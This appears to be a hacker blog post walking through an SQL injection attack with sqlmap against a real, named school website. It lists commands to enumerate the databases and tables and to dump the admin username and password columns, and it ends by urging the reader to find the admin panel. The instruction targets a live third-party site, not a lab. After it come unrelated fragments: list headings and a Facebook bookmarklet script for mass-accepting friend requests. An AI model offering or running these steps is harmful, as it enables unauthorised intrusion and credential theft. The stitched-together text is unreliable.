Cyber Joker BD

its a python tool , and it is preloaded in almost every Back Track version

first of all
we need a vulnerable target!
here it is 
http://www.alliedschools.edu.pk/main_news.php?news_id=52
ok first step is to  fatch the databases 
command will be like this one

 python ./sqlmap.py -u http://www.alliedschools.edu.pk/main_news.php?news_id=52 --dbs

here:- 
       -u is stand for which is vulnerable to SQL injection
 and   --dbs is used for fatching total databases in website :D

ok after completing the process of fataching the databases it will something like that 

available databases(8)
[*]informtion_schema
[*]alliedschools_web

now we are going to expoit database alliedschools_web and fatch the tables present in it XD

ok command will change a little bit :-

python ./sqlmap.py -u http://www.alliedschools.edu.pk/main_news.php?news_id=52 -D alliedschools_web --tables

here :-
        -D and then name of the database from which we want to fatch tables and 
        --tables is for fatching total table present in the database 

after processing we will get the tables present in database  "alliedschools_web"

after processing we will get something like that 
  Database: alliedschools_campus
   [18 Tables ]
   admin
   campus
   ......
   ......

now we are going to fatch the cloumns from table admin of database alliedschools_campus

  command is :-
               python ./sqlmap.py -u http://www.alliedschools.edu.pk/main_news.php?news_id=52 -D alliedschools_campus -T admin --columns

now we will get something like this 
   Database: alliedschools_campus
   Table : admin 
   [12 columns ]
    admin_password
    admin_username
    admin_email
    ......
    ......

 This is  the last command to get the admin username and password  
   command is 
             python ./sqlmap.py -u http://www.alliedschools.edu.pk/main_news.php?news_id=52 -D alliedschools_campus -T admin -C admin_password,                                admin_username --dump

and after finishing process we will get something like that 
     Database: alliedschools_campus
     Table : admin 
      [6 entries]
     admin_password   admin_username
     $erver             admin
     ......             ......

Now You Have admin Password of website, Find admin panel and ...xD

List of Prefixes (115)

Other Prefix Ideas

List of Suffixes (185)

   1.
      //for mass accept friends
   2.
      javascript:for( i = 1;i<document.getElementsByName("actions[accept]").length;i++){document.getElementsByName("actions[accept]")[i].click();}void(0);
   3.
       
   4.
      //for mass ignore friend requests
   5.
       
   6.
               javascript:for( i = 1;i<document.getElementsByName("actions[hide]").length;i++){document.getElementsByName("actions[hide]")[i].click();}void(0);
   7.
       
   8.
      open http://www.facebook.com/friends/edit/?sk=requests
   9.
      and run the script
  10.
       
  11.